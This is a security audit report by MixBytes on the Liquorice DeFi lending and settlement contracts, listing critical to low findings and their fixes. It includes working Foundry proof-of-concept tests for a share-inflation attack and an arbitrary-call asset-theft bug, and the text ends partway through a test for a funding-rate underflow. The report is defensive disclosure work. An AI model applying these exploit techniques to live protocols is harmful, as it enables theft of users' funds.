LIQUORICE SECURITY AUDIT REPORT

February 26, 2025

MixBytes()

TABLE OF CONTENTS

1. INTRODUCTION

1.1 Disclaimer

The audit makes no statements or warranties about utility of the code, safety of the code, suitability of the business model, investment advice, endorsement of the platform or its products, regulatory regime for the business model, or any other statements about fitness of the contracts to purpose, or their bug free status. The audit documentation is for discussion purposes only. The information presented in this report is confidential and privileged. If you are reading this report, you agree to keep it confidential, not to copy, disclose or disseminate without the agreement of the Client. If you are not the intended recipient(s) of this document, please note that any disclosure, copying or dissemination of its content is strictly forbidden.

1.2 Security Assessment Methodology

A group of auditors are involved in the work on the audit. The security engineers check the provided source code independently of each other in accordance with the methodology described below:

1. Project architecture review:

- Project documentation review.
- General code review.
- Reverse research and study of the project architecture on the source code alone.

Stage goals
- Build an independent view of the project's architecture.
- Identifying logical flaws.

2. Checking the code in accordance with the vulnerabilities checklist:

- Manual code check for vulnerabilities listed on the Contractor's internal checklist. The Contractor's checklist is constantly updated based on the analysis of hacks, research, and audit of the clients' codes.
- Code check with the use of static analyzers (i.e Slither, Mythril, etc).

Stage goal

Eliminate typical vulnerabilities (e.g. reentrancy, gas limit, flash loan attacks etc.).

3. Checking the code for compliance with the desired security model:

- Detailed study of the project documentation.
- Examination of contracts tests.
- Examination of comments in code.
- Comparison of the desired model obtained during the study with the reversed view obtained during the blind audit.
- Exploits PoC development with the use of such programs as Brownie and Hardhat.

Stage goal

Detect inconsistencies with the desired model.

4. Consolidation of the auditors' interim reports into one:

- Cross check: each auditor reviews the reports of the others.
- Discussion of the issues found by the auditors.
- Issuance of an interim audit report.

Stage goals

- Double-check all the found issues to make sure they are relevant and the determined threat level is correct.
- Provide the Client with an interim report.

5. Bug fixing & re-audit:

- The Client either fixes the issues or provides comments on the issues found by the auditors. Feedback from the Customer must be received on every issue/bug so that the Contractor can assign them a status (either "fixed" or "acknowledged").
- Upon completion of the bug fixing, the auditors double-check each fix and assign it a specific status, providing a proof link to the fix.
- A re-audited report is issued.

Stage goals

- Verify the fixed code version with all the recommendations and its statuses.
- Provide the Client with a re-audited report.

6. Final code verification and issuance of a public audit report:

- The Customer deploys the re-audited source code on the mainnet.
- The Contractor verifies the deployed code with the re-audited version and checks them for compliance.
- If the versions of the code match, the Contractor issues a public audit report.

Stage goals

- Conduct the final check of the code deployed on the mainnet.
- Provide the Customer with a public audit report.

Finding Severity breakdown

All vulnerabilities discovered during the audit are classified based on their potential severity and have the following classification:

Severity	Description
Critical	Bugs leading to assets theft, fund access locking, or any other loss of funds.
High	Bugs that can trigger a contract failure. Further recovery is possible only by manual modification of the contract state or replacement.
Medium	Bugs that can break the intended contract logic or expose it to DoS attacks, but do not cause direct loss funds.
Low	Bugs that do not have a significant immediate impact and could be easily fixed.

Based on the feedback received from the Customer regarding the list of findings discovered by the Contractor, they are assigned the following statuses:

Status	Description
Fixed	Recommended fixes have been made to the project code and no longer affect its security.
Acknowledged	The Customer is aware of the finding. Recommendations for the finding are planned to be resolved in the future.

1.3 Project Overview

Liquorice is a decentralized application that implements auction-based price discovery and single-sided liquidity pools. Liquidity providers can supply their capital on a per-asset basis and earn returns based on the trading and borrowing activity in the protocol. Makers can borrow assets from the protocol to fulfill traders' orders.

1.4 Project Dashboard

Project Summary

Title	Description
Client	Liquorice
Project name	Liquorice
Timeline	22.10.2024-21.02.2025
Number of Auditors	3

Project Log

Date	Commit Hash	Note
22.10.2024	a5b4c6a56df589b8ea4f6c7b8cb028b1723ad479	Commit for the audit
18.12.2024	6100e3f6406b1f8a4cadd222870e6ed370f1f8c5	Commit for re-audit
09.01.2025	14b837f79ef5eca6ba8d6c5fac68b7061cddba5f	Commit for re-audit
03.02.2025	85c1eb77f404b0421bd3d1bdec548085006a3945	Commit for re-audit
10.02.2025	8c12a559d9b980cd23e4f754acf7fde6ec919f05	Commit for re-audit
21.02.2025	d1f9abea12d9fe69c9a51abdb9dbfeb80ea5145e	Commit for re-audit

Project Scope

The audit covered the following files:

File name	Link

File name	Link
src/contracts/lib/Signature.sol	Signature.sol
src/contracts/lib/SharedData.sol	SharedData.sol
src/contracts/lib/GPv2Interaction.sol	GPv2Interaction.sol
src/contracts/lib/Math.sol	Math.sol
src/contracts/lib/SharesMath.sol	SharesMath.sol
src/contracts/lib/UniversalERC20.sol	UniversalERC20.sol
src/contracts/lib/Solvency.sol	Solvency.sol
src/contracts/UtilityTokensFactory.sol	UtilityTokensFactory.sol
src/contracts/LendingPoolsFactory.sol	LendingPoolsFactory.sol
src/contracts/PriceProvider.sol	PriceProvider.sol
src/contracts/InterestRateModel.sol	InterestRateModel.sol
src/contracts/Configurator.sol	Configurator.sol
src/contracts/FundingRateConsumer.sol	FundingRateConsumer.sol
src/contracts/FundingRateOracle.sol	FundingRateOracle.sol
src/contracts/Repository.sol	Repository.sol
src/contracts/LendingPool.sol	LendingPool.sol
src/contracts/settlement/BalanceManager.sol	BalanceManager.sol
src/contracts/settlement/Signing.sol	Signing.sol
src/contracts/settlement/LiquoriceSettlement.sol	LiquoriceSettlement.sol
src/contracts/settlement/AllowListAuthentication.sol	AllowListAuthentication.sol

File name	Link
src/contracts/marketing/Prestake.sol	Prestake.sol
src/contracts/utils/CollateralToken.sol	CollateralToken.sol
src/contracts/utils/DebtToken.sol	DebtToken.sol
src/contracts/UniswapPriceProviderV3.sol	UniswapPriceProviderV3.sol
src/contracts/ACLManager.sol	ACLManager.sol
src/contracts/integrations/UniswapIntegration.sol	UniswapIntegration.sol

Deployments

File name	Contract deployed on mainnet	Comment
UniswapV2TradeIntegration.sol	0x33bd28...a2cd795f	
UniswapV3TradeIntegration.sol	0x9e5e47...5087cc81	
Repository.sol	0x8c9dc2...7a5b75f8	
FundingRateConsumer.sol	0x688855...f1ed57c6	
FundingRateOracle.sol	0xbdb795...32048eb3	
Configurator.sol	0xaad563...d834b91d	
InterestRateModel.sol	0xeDf15d...99466226	
PriceProvider.sol	0x641169...fe03e463	
AllowListAuthentication.sol	0x7cd723...e93aebee	
LendingPoolsFactory.sol	0xE95bd2...aEEd3A75	
UtilityTokensFactory.sol	0xeb4f11...bc38c98a	

File name	Contract deployed on mainnet	Comment
Swapper.sol	0xfe7834...d1039a18	
SwapConnector.sol	0x503a2c...31a8e805	
LiquoriceSettlement.sol	0xaca684...d3eed167	
AllowListAuthentication.sol	0x7cd723...e93aebee	
LendingPool.sol	0x046fFB...6297CfB8	
BalanceManager.sol	0x38E1E4...b95340CD	

1.5 Summary of findings

Severity	# of Findings
Critical	4
High	6
Medium	15
Low	16

ID	Name	Severity	Status
C-1	Broken authorization	Critical	Fixed
C-2	Double spending	Critical	Fixed
C-3	Inflation attack	Critical	Fixed
C-4	Arbitrary call in `LendingPool.reBalance()` leads to asset theft	Critical	Fixed
H-1	Underflow of rate value leads to incorrect interest rate calculation	High	Fixed
H-2	Duplicate interactions	High	Fixed
H-3	Lack of trader signature validation allows unauthorized fund transfers	High	Fixed
H-4	Insufficient parameter validation in `validateInteractions()`	High	Fixed
H-5	Solver can bypass maker signature verification	High	Fixed
H-6	Inability to liquidate non-locked collateral in LendingPool	High	Fixed
M-1	Broken partial liquidations	Medium	Fixed

M-2	Borrowing beyond `MaximumLTV`	Medium	Fixed
M-3	Protocol liquidation fee may exceed LTV liquidation gap	Medium	Fixed
M-4	No supply limit check in `LendingPool.borrowFor()`	Medium	Fixed
M-5	Wrong LTV calculation for duplicate assets	Medium	Fixed
M-6	Loss of accrued interest on updating InterestRateModel	Medium	Fixed
M-7	No pause check in several LendingPool functions	Medium	Fixed
M-8	Potential unhandled exception due to out-of-bounds array access	Medium	Fixed
M-9	The trader's signature is not considered in nonce	Medium	Fixed
M-10	Missing signature validation in `Order` structure	Medium	Fixed
M-11	Missing validation on `_hooks` in settlement contract	Medium	Fixed
M-12	Inability to liquidate at high utilization	Medium	Fixed
M-13	Taker incurs losses when `SingleQuote.useOldAmount` is set to `true`	Medium	Fixed
M-14	`LiquoriceSettlement.settle()` does not check for upper bound when using SolverData	Medium	Fixed
M-15	`Repository.setLiquidationThreshold()` can unexpectedly change the global `defaultConfig.liquidationThreshold` when setting an isolated threshold for a specific asset.	Medium	Fixed
L-1	`LendingPool.harvestProtocolFees()` does not call `LendingPool._accrueInterest()`	Low	Fixed
L-2	`_lendingPools` mapping slot 0 is overwritten every time a new pool is created	Low	Fixed
L-3	Fees can be set up to 99.99%	Low	Fixed
L-4	`InterestRateModel.getCurrentInterestRate()` returns a non-zero value for `address(0)`	Low	Fixed

L-5	Return value not checked	Low	Fixed
L-6	Unused errors	Low	Fixed
L-7	Use of `transfer()` method is not recommended	Low	Fixed
L-8	No check for Arbitrum sequencer when handling prices	Low	Fixed
L-9	Signature validation is not EIP712 compliant	Low	Acknowledged
L-10	Overflow is possible when calculating `timeWeightedAverageTick` value.	Low	Fixed
L-11	Potential invalid data injection due to external API dependency in FundingRateOracle	Low	Acknowledged
L-12	Manager self-reassignment in `setManager`	Low	Fixed
L-13	Invalid length check on `bytes32` parameter in the constructor	Low	Fixed
L-14	`Signing.hashSingleOrder()` does not use `block.chainId` when verifying signatures	Low	Fixed
L-15	Wrong rounding	Low	Fixed
L-16	EffectiveTrader's nonce is not always invalidated	Low	Fixed

1.6 Conclusion

Liquorice combines a trading contract with a lending feature. In this audit, in addition to standard vectors, special attention was given to identifying vulnerabilities common in lending, oracles, signing flow, interest model configuration, and order execution. We also went through our detailed checklist, covering other aspects like business logic, common ERC20 issues, interactions with external contracts, integer overflows, reentrancy attacks, access control, and other potential issues.

During the audit, numerous authorization issues and bugs were identified, directly contributing to the creation of bad debt within the protocol. The number of issues demonstrates that developing a custom lending protocol from scratch makes it difficult to account for all security risks and therefore requires multiple audits from different companies.

It is also important to emphasize that a lending protocol demands robust risk management when determining appropriate thresholds and limits for borrowing or lending assets—a task that typically requires a dedicated team of experts.

Given the complexity and size of the project, as well as the significant number of issues identified during our audit, we strongly recommend conducting an additional audit with another team. This step would mitigate the risk of human error, provide a broader and deeper analysis, and further enhance community trust by demonstrating a commitment to transparency and security. An independent review could help identify any overlooked issues, ensuring the project's security and reinforcing its reputation in the market.

Additional notes (not included in the report as separate vulnerabilities):

- **Price Difference Threshold for Oracles**. Currently, if the price difference between the aggregator and fallback provider exceeds 10%, an admin can set the fallback oracle as the main provider. This threshold seems high and should be reduced to a lower percentage.
- **Use `AccessControlDefaultAdminRules` Instead of `AccessControl` for Enhanced Security**. OpenZeppelin's `AccessControlDefaultAdminRules` offers a safer approach for managing roles, especially in contracts where admin privileges are sensitive. Unlike the base `AccessControl` implementation, it introduces additional restrictions on changing admin roles, including a delay feature to mitigate quick and potentially malicious role modifications.
- **Emit Events with Both Old and New Addresses for Changes**. When updating critical addresses (such as admin addresses, oracles, or contract dependencies), emitting events with both old and new addresses improves transparency and facilitates easier auditing and tracking of changes. This pattern is inconsistently applied in some parts of the codebase.
- **Mainnet Chainlink Functions in Beta**. The Chainlink Functions feature is currently in beta on mainnet, which means its use carries added risk compared to more established Chainlink features. This includes potential unexpected behavior, reduced support, or unanticipated issues due to its early-stage deployment.
- **Use OpenZeppelin's ECDSA Library**. When handling digital signatures, OpenZeppelin's ECDSA library provides well-tested functions for secure and efficient signature handling. It offers robust methods for verifying message authenticity, preventing forgery or tampering. We recommend using OpenZeppelin's `ECDSA` Library for signature verification.

- **Governance System**. The current **Configurator.sol** contract lacks a proposal validation mechanism, allowing any user to create a proposal. Additionally, there is no voting mechanism for these proposals; the proposer merely needs to wait for a specified delay time before executing it. The absence of a voting system implies that any proposal will be executed unless the proposer decides to cancel it.
- **Consider Using ERC4626 Vault Standard Instead of ERC-20 for Collateral Tokens**. OpenZeppelin's ERC4626 vault standard provides a robust framework for yield-bearing vaults, designed to manage and track shares within a yield-generating vault. Using ERC4626 can reduce the risk of custom implementation errors and ensure compatibility with other ERC4626-compliant vaults and protocols.
- `Configurator.propose()` allows any user to create spam proposals. We recommend implementing restrictions, like validation checks or requiring a minimum token balance, to prevent spam proposals.
- `LendingPool.convertCollateral()` withdraws from one type of collateral and deposits into another but lacks checks present in `_withdraw()` and `_supply()` functions.
- The supply limit in LendingPool is calculated relative to the sum of locked and non-locked collateral. If a large enough amount is supplied solely to locked collateral, this could exhaust the supply limit, leaving borrowers without funds to borrow and preventing new liquidity from being provided, potentially creating a DoS scenario.
- **Compatibility Issues**. LendingPool and LiquoriceSettlement are not designed to handle ERC-777 tokens or tokens that charge transfer fees. We recommend avoiding these types of tokens in trading and lending.
- **Role Separation for Pausing and Management**. Roles for pausing contracts, unpausing them, role management, oracle addition, asset configuration, and other parameter adjustments should be separated. It should be possible to pause a contract promptly in the event of a hack without major risk if the manager's private key for this role is compromised. However, unpausing and setting parameters can lead to liquidations, so these roles should be more secure.
- **Interest Distribution**. If a hacker borrows free liquidity that accumulates in the contract due to admin fees, most of the interest from this liquidity will go to the pool rather than to protocol owners who provided this liquidity.

Also:

- On the LiquoriceSettlement contract, dust will accumulate when executing orders. It can be retrieved through custom interactions. Another way would be to implement a separate `rescueTokens() onlyOwner` function.

Also, the Liquorice team has been informed of the following issues we discovered in LendingPool. Those issues were not included in the general list of findings:

- **No bad debt socialization, and interest continues to accrue**. If a user has accumulated bad debt, no one has incentive to liquidate that position, yet the interest on the debt keeps increasing. This may result in some suppliers withdrawing more funds, while others won't be able to withdraw at all.

- **No minimum position size**. It's possible to create very small positions and borrow against them. These positions would be unprofitable to liquidate due to gas costs.

- **No prioritization of liquidation reward**. The protocol always deducts the protocolFee during liquidation without considering situations where the position is already on the verge of bad debt (i.e., when it's no longer

profitable to liquidate with the protocolFee, but without the fee, the liquidator could still make a profit).

- **supply() fails when the sequencer goes down**. If the sequencer on L2 goes down, the `getPrice()` function will revert for some time, causing the `supply()` function to fail as well. This means that for a period, users will have less flexibility to improve their position health. The `repay()` function works fine, though.

- **Debt continues to accrue during protocol pause, and there is no grace period after the pause**. This can lead to immediate liquidations without the opportunity for users to recover their position health.

2. FINDINGS REPORT

2.1 Critical

C-1	Broken authorization
Severity	Critical
Status	Fixed in 6100e3f6

Description

Some functions lack authorization checks for critical actions.

LendingPool Functions:

- `supplyFor()`: Anyone can call this function with arbitrary arguments for `depositor` and `receiver`, enabling the transfer of approved limits from any user to any other user.
- `repayFor()`: Anyone can call this function with arbitrary `borrower` and `repayer` arguments, allowing the transfer of approved limits from any user to any other user.
- `reBalance()`: Anyone can call this function with an arbitrary `_depositor`, potentially allowing funds to be taken from any user and swapped for a different asset, which could incur slippage and value loss.
- `withdrawFor()`: Through settlement hooks, a solver can call this function with arbitrary `depositor` arguments, enabling the transfer of any user's supply to any other user.
- `borrowFor()` (both overloaded versions): Through settlement hooks, a solver can call this function with arbitrary `borrower` and `receiver` (or `borrower` and `recipient`) arguments, allowing funds to be borrowed from any user for the benefit of any other user.

Additional Functions:

- `PriceProvider.setFallbackProvider()`: Any user can call this function to set a fallback price provider, potentially enabling malicious actions and price data manipulation.
- Any user can submit arbitrary IRM parameters via `Configurator.propose()` and execute them with `Configurator.execute()`. Since only the proposer can cancel the proposal, a malicious user only needs to wait for the `delay + period` time to execute it. Modifying IRM settings is a critical action that could negatively impact all protocol users.

Recommendation

We recommend adding strict access controls and checks for critical functions, particularly to prevent unauthorized actions:

1. **Implement Role-Based Access Control (RBAC) for Critical Functions:**

   - Assign specific roles to users who are permitted to execute sensitive functions.
   - Require functions such as `supplyFor()`, `repayFor()`, `reBalance()`, `withdrawFor()`, `borrowFor()`, `setFallbackProvider()`, and `Configurator`-related functions to verify the caller's role before proceeding.

2. **Require Ownership or Delegation Checks:**

   - **For `supplyFor()`, `repayFor()`, `withdrawFor()`, and `borrowFor()`**: Ensure the caller is either the owner of the funds or has explicit delegation to act on behalf of the user specified in the arguments (e.g., `depositor`, `borrower`, `receiver`).
   - This can prevent unauthorized third parties from calling these functions and accessing or manipulating funds without the owner's permission.

3. **Restrict External Calls via Settlement Hooks:**

   - Apply checks and validation to settlement hooks to prevent Solver-role from exploiting functions like `withdrawFor()` and `borrowFor()` with arbitrary arguments.
   - Consider whitelisting approved entities or functions that can interact with these hooks.

4. **Add Access Control to `setFallbackProvider()` and `Configurator` Functions:**

   - Limit access to `PriceProvider.setFallbackProvider()` to trusted users or a multisig account. This will prevent unauthorized users from setting or manipulating fallback providers and price data.
   - Similarly, restrict `Configurator.propose()` and `Configurator.execute()` to only authorized users or roles that have been vetted for security. Additionally, a review and approval mechanism for IRM parameter changes must be enforced, ensuring they are properly vetted before execution.

C-2	Double spending
Severity	Critical
Status	Fixed in 6100e3f6

Description

A maker can borrow funds against their existing `CollateralToken` and then transfer their entire `CollateralToken` balance to an arbitrary address, from which they could perform a `withdraw()` in the LendingPool.

Recommendation

We recommend restricting transfers of `CollateralToken` if it would significantly reduce the user's health score.

C-3	Inflation attack
Severity	Critical
Status	Fixed in 14b837f7

Description

The issuance of CollateralToken and DebtToken is vulnerable to an inflation attack. In this type of attack, a hacker frontruns a victim and manipulates the exchange rate to the victim's disadvantage.

Let's consider an example with CollateralToken. The `borrow()` function slightly increases `totalDeposits`, while `totalSupply` remains unchanged. If nearly all funds are then withdrawn from the pool, this would leave only 1 wei of CollateralToken and 2 wei of the underlying token in the pool, resulting in an exchange rate of `totalDeposits` to `totalSupply` of 2:1. The attacker can then iterate deposits and withdrawals with exponential increments:

- **Step 0**. Initially, the pool has `totalDeposits = 2` and `totalSupply = 1`
- **Step 1**. Exchange rate → 3
  - Deposit (3 wei): `totalDeposits = 2 + 3 = 5` and `totalSupply = 1 + 3 * 1 / 2 = 2`
  - Withdraw (2 wei): `totalDeposits = 5 - 2 = 3` and `totalSupply = 1`
- **Step 2**. Exchange rate → 5
  - Deposit (5 wei): `totalDeposits = 3 + 5 = 8` and `totalSupply = 1 + 5 * 1 / 3 = 2`
  - Withdraw (3 wei): `totalDeposits = 8 - 3 = 5` and `totalSupply = 1`
- **Step 3**. Exchange rate → 9
- **Step 4**. Exchange rate → 17
- **Step 5**. Exchange rate → 33
- …
- **Step 65**. Exchange rate → 36,893,488,147,419,103,233 (36 ether)
- **Step 66**. Exchange rate → 73,786,976,294,838,206,465 (73 ether)
- **Step 67**. Exchange rate → 147,573,952,589,676,412,929 (147 ether)

Note that similar strategies can be used to inflate or deflate DebtToken.

The example below demonstrates how the hacker inflates the exchange rate, allowing the victim to deposit at an inflated rate, which results in the hacker profiting by approximately 25% from the victim's deposit.

To run the test:

1. Place the test in `test/integration/InflationAttack.sol`.
2. Run `forge t -vv --mt test_inflation_attack`.

The test:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import 'forge-std/Test.sol';
import {Test} from 'forge-std/Test.sol';
import 'forge-std/Vm.sol';

import {IERC20} from '@openzeppelin/contracts/interfaces/IERC20.sol';

import {ACLManager} from 'contracts/ACLManager.sol';
import {InterestRateModel} from 'contracts/InterestRateModel.sol';
import {IACLManager} from 'interfaces/IACLManager.sol';
import {IInterestRateModel} from 'interfaces/IInterestRateModel.sol';
import {IRepository} from 'interfaces/IRepository.sol';

import {InterestRateModel} from 'contracts/InterestRateModel.sol';
import {LendingPool,ILendingPool} from 'contracts/LendingPool.sol';
import {LendingPoolsFactory} from 'contracts/LendingPoolsFactory.sol';

import {Repository} from 'contracts/Repository.sol';
import {UtilityTokensFactory} from 'contracts/UtilityTokensFactory.sol';
import {Math} from 'contracts/lib/Math.sol';

import {MockFundingRateOracle} from 'contracts/mock/MockFundingRateOracle.sol';
import {MockPriceProviderRepository} from
    'contracts/mock/MockPriceProviderRepository.sol';
import {IPriceProvider} from 'interfaces/IPriceProvider.sol';
import "forge-std/Test.sol";
import {AllowListAuthentication} from
    'contracts/settlement/AllowListAuthentication.sol';
import {ILiquoriceSettlement}
    from 'interfaces/ILiquoriceSettlement.sol';
import {LiquoriceSettlement}
    from 'contracts/settlement/LiquoriceSettlement.sol';

contract IntegrationSupplyLogic is Test {
  using Math for uint256;

  uint256 internal constant _FORK_BLOCK = 18_920_905;

  address internal constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
  address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

  address internal user = makeAddr('user');
  address internal borrower = makeAddr('borrower');
  address internal owner = makeAddr('owner');
  address internal taker = makeAddr('taker');

  Repository private repository;
  LendingPool private lendingPool;
  InterestRateModel private interestRateModel;
  MockPriceProviderRepository private mockPriceProviderRepository;
```

```
address internal hacker = makeAddr('hacker');
address internal victim = makeAddr('victim');

function test_inflation_attack() public {
  setupPool();
  setupHacker();

  uint hackerBalanceBefore = IERC20(DAI).balanceOf(hacker);

  inflateInitial();

  // now 1 wei collateralToken = 2 wei DAI

  for (uint i=0; i<67; i++) {
    inflate();
  }

  // now 1 wei collateralToken = 147 DAI

  uint victimDepositValue = 293 ether;
  victimDeposit(victimDepositValue);

  vm.prank(hacker);
  lendingPool.withdraw(DAI, type(uint).max, false);

  uint hackerBalanceAfter = IERC20(DAI).balanceOf(hacker);
  int profit = int(hackerBalanceAfter) - int(hackerBalanceBefore);
  emit log_named_decimal_int("Hacker DAI profit", profit, 18);
  console2.log("Hacker profit / victim deposit =",
              uint(profit) * 100 / victimDepositValue, "%");
}

function inflate() public {
  ILendingPool.AssetState memory s;
  s = lendingPool.getAssetState(DAI);

  vm.startPrank(hacker);
  lendingPool.supply(DAI, 2 * s.totalDeposits - 1, false);
  lendingPool.withdraw(DAI, s.totalDeposits, false);
  vm.stopPrank();

  console2.log("inflate");
  s = lendingPool.getAssetState(DAI);
  emit log_named_decimal_uint("DAI ",
      IERC20(DAI).balanceOf(address(lendingPool)), 18);
  emit log_named_decimal_uint("WETH",
      IERC20(WETH).balanceOf(address(lendingPool)), 18);

  emit log_named_decimal_uint("DAI totalDeposits", s.totalDeposits, 18);
  emit log_named_decimal_uint("DAI totalSupply",
      IERC20(s.collateralToken).totalSupply(), 18);
  emit log_named_decimal_uint("DAI liquidity",
      lendingPool.liquidity(DAI), 18);
```

```
    console2.log("---");
  }


  function setupPool() public {
    vm.startPrank(owner);
    AllowListAuthentication auth =
      new AllowListAuthentication(address(repository));
    auth.addMaker(hacker);
    LiquoriceSettlement settlement =
         new LiquoriceSettlement(auth, repository);
    repository.setSettlement(address(settlement));
    mockPriceProviderRepository.setAssetPrice(WETH, 1e18);
    vm.stopPrank();
  }

  function setupHacker() public {
    vm.prank(hacker);
    IERC20(DAI).approve(address(lendingPool), type(uint).max);

    vm.prank(hacker);
    IERC20(WETH).approve(address(lendingPool), type(uint).max);

    deal(DAI, hacker, 1000 ether);
    deal(WETH, hacker, 1000 ether);
  }

  function inflateInitial() public {
    // make 1 shares = 2 assets

    ILendingPool.AssetState memory s;

    console2.log("");
    console2.log("prepare first inflation");
    console2.log("");
    emit log_named_decimal_uint("DAI ",
        IERC20(DAI).balanceOf(address(lendingPool)), 18);
    emit log_named_decimal_uint("WETH",
        IERC20(WETH).balanceOf(address(lendingPool)), 18);

    s = lendingPool.getAssetState(DAI);
    emit log_named_decimal_uint("DAI totalDeposits",
        s.totalDeposits, 18);
    emit log_named_decimal_uint("DAI totalSupply",
        IERC20(s.collateralToken).totalSupply(), 18);

    vm.startPrank(hacker);
    lendingPool.supply(DAI, 1 ether, false);
    lendingPool.supply(WETH, 1 ether, false);
    lendingPool.borrow(DAI, 0.5 ether);

    vm.warp(block.timestamp + 1 seconds);

    lendingPool.repay(DAI, type(uint).max);
```

```
    s = lendingPool.getAssetState(DAI);
    lendingPool.withdraw(DAI, s.totalDeposits - 2, false);

    vm.stopPrank();

    console2.log("");
    console2.log("after first inflation");
    console2.log("");
    s = lendingPool.getAssetState(DAI);

    emit log_named_decimal_uint("DAI ",
        IERC20(DAI).balanceOf(address(lendingPool)), 18);
    emit log_named_decimal_uint("WETH",
        IERC20(WETH).balanceOf(address(lendingPool)), 18);

    emit log_named_decimal_uint("DAI totalDeposits", s.totalDeposits, 18);
    emit log_named_decimal_uint("DAI totalSupply",
        IERC20(s.collateralToken).totalSupply(), 18);
    emit log_named_decimal_uint("DAI liquidity",
        lendingPool.liquidity(DAI), 18);

    console2.log("---");
  }

  function victimDeposit(uint amount) public {
    emit log_named_decimal_uint("Victim deposits DAI", amount, 18);
    vm.startPrank(victim);
    deal(DAI, victim, amount);
    IERC20(DAI).approve(address(lendingPool), type(uint).max);
    lendingPool.supply(DAI, amount, false);
    vm.stopPrank();
  }


  function deploy() private {
    MockFundingRateOracle mockFundingRateOracle =
      new MockFundingRateOracle(6e16);

    IInterestRateModel.Config memory config = I
      InterestRateModel.Config(5e16, 1e17, 1, 6e16, 8e17, 3e17, 5e16);
    interestRateModel =
      new InterestRateModel(config,
                            address(mockFundingRateOracle), owner);

    mockPriceProviderRepository = new MockPriceProviderRepository();

    repository = new Repository(
      address(owner),
      address(interestRateModel),
      uint64(80e16), //maxTVL 80%
      uint64(90e16), //liquidationThreshold 90%
      100_000e18
    );
```

```
    vm.startPrank(owner);
    repository.addManager(address(owner));

    IRepository.Fees memory _fees = IRepository.Fees(0, 1e15, 0);

    LendingPoolsFactory lendingPoolsFactory =
      new LendingPoolsFactory(address(repository));
    UtilityTokensFactory utilityTokensFactory =
      new UtilityTokensFactory(address(repository));

    repository.setFees(_fees);
    repository.setLendingPoolsFactory(address(lendingPoolsFactory));
    repository.setTokensFactory(address(utilityTokensFactory));
    repository.setPriceProvider(mockPriceProviderRepository);
    repository.setSettlement(borrower);

    address[] memory newAssets = new address[](2);
    newAssets[0] = address(DAI);
    newAssets[1] = address(WETH);

    vm.recordLogs();

    lendingPool = LendingPool(repository.newLendingPool(newAssets));

    Vm.Log[] memory entries = vm.getRecordedLogs();

    assertEq(entries.length, 6);
    assertEq(entries[0].topics[0],
             keccak256('NewCollateralTokenCreated(address)'));

    vm.stopPrank();
  }

  function setUp() public virtual {
    vm.createSelectFork(vm.rpcUrl('mainnet'), _FORK_BLOCK);

    vm.prank(owner);
    deploy();
  }
}
```

Recommendation

We recommend using the virtual shares approach. The formula example can be found in OpenZeppelin's implementation of the ERC4626 vault at ERC4626.sol#L226

Regarding the amount of virtual shares, we recommend using `1,000 wei`. This has proven to be a reasonable amount for projects like UniswapV2 and Curve Stablecoin.

Client's commentary

MixBytes:

1. Severity of the finding is reduced by using 1 virtual share; however, we believe the attack is still possible and suggest increasing the number of virtual shares to 1000.
2. We recommend removing the following lines, as they differ from OpenZeppeling ERC4626 implementation and may pose some unexpected risks:
   Line 1: SharesMath.sol#L29
   Line 2: SharesMath.sol#L45
   Line 3: SharesMath.sol#L57
   Line 4: SharesMath.sol#L73

C-4	Arbitrary call in `LendingPool.reBalance()` leads to asset theft
Severity	Critical
Status	Fixed in 6100e3f6

Description

- LendingPool.sol#L229

The `reBalance()` function in the `LendingPool` contract improperly allows callers to execute any function within the `UniswapIntegration` contract (UniswapIntegration.sol) by passing arbitrary data through the `_swapData` parameter. While the intended functionality is to invoke only the `swap()` method, the lack of restrictions enables malicious actors to call other methods that can disrupt the expected flow of the contract.

For instance, an attacker can exploit this by calling the `quoteExactInput()` method instead of `swap()`. This causes the `abi.decode(result, (uint256))` statement in the `reBalance()` function to incorrectly return `0`, since it's not receiving the expected data format. Consequently, tokens that were transferred to the `UniswapIntegration` contract prior to this call become stuck.

The attacker can then execute the `swap()` function directly on the `UniswapIntegration` contract to transfer these stuck tokens to an address of their choice, effectively stealing assets from the protocol.

Moreover, the absence of a `minAmount` (slippage) check within the `reBalance()` function exposes the contract to sandwich attacks, as it does not verify that the minimum acceptable amount of tokens is received after the swap.

Example:

```
function test_reBalance_withdraw_vuln() public {
// normal initialization
// ...

bytes memory data =
    abi.encodeWithSelector(
        uniswapIntegration.quoteExactInput.selector,
        WETH, DAI, 1, address(0));
vm.prank(evil);
lendingPool.reBalance(WETH, DAI, supplier, supplyAmount, false, data);

LendingPool.AssetState memory assetState = lendingPool.getAssetState(DAI);

vm.prank(evil);
bytes memory swapdata =
    uniswapIntegration.getMultiCallSwapData(
        WETH, DAI, evil, 5000000000000000000);
uniswapIntegration.swap(DAI, WETH, 5000000000000000000, swapdata);

console.log('WETH balance of AFTER', IERC20(WETH).balanceOf(evil));
console.log('DAI balance of AFTER', IERC20(DAI).balanceOf(evil));
}
```

Recommendation

- **Restrict Function Calls**: Modify the `reBalance()` function to remove the `_swapData` parameter and hard-code the call to the `swap` method of the `UniswapIntegration` contract. This ensures that only the intended function can be executed.
- **Validate Return Data**: Implement proper validation when decoding the return data from the `swap()` function to handle unexpected values gracefully.
- **Implement Slippage Checks**: Introduce a `minAmount` parameter to enforce slippage tolerance. This will prevent sandwich attacks by ensuring that the amount received from the swap meets the minimum expected threshold.

2.2 High

H-1	Underflow of rate value leads to incorrect interest rate calculation
Severity	High
Status	Fixed in 8c12a559

Description

A negative funding rate retrieved from the consumer causes the interest rate to be calculated incorrectly.

The `FundingRateConsumer` contract receives the funding rate from an API, which may be positive or negative, and stores it in the **rates** mapping as an **int256**. However, when the `FundingRateOracle` contract retrieves the **rate** from the **consumer**, it casts the result to **uint256**. This casting causes an underflow when the rate is negative, resulting in an extremely large value.

Then, the `InterestRateModel` retrieves this rate in the `InterestRateModel.getInterestRateAndUpdate()` and calculates the current interest rate. Although the current rate value has a defined bounds, the result will not be as expected.

Test that illustrates this case.
To run the test:

1. Create new file (e.g. `audit_fundingRateOracle.t.sol`).
2. Put the code into the created file.
3. Run `forge t --mt test_negativeFundingRateUnderflow -vvvv` in the CLI.

```
import {FundingRateOracle} from "contracts/FundingRateOracle.sol";
import {IFundingRateConsumer} from "interfaces/IFundingRateConsumer.sol";
import {IRepository} from "interfaces/IRepository.sol";
import {console2, Test} from "forge-std/Test.sol";

contract MockFundingRateConsumer {
    mapping(string => int256) public rates;

    function setRate(string memory ticker, int256 rate) external {
        rates[ticker] = rate;
    }
}

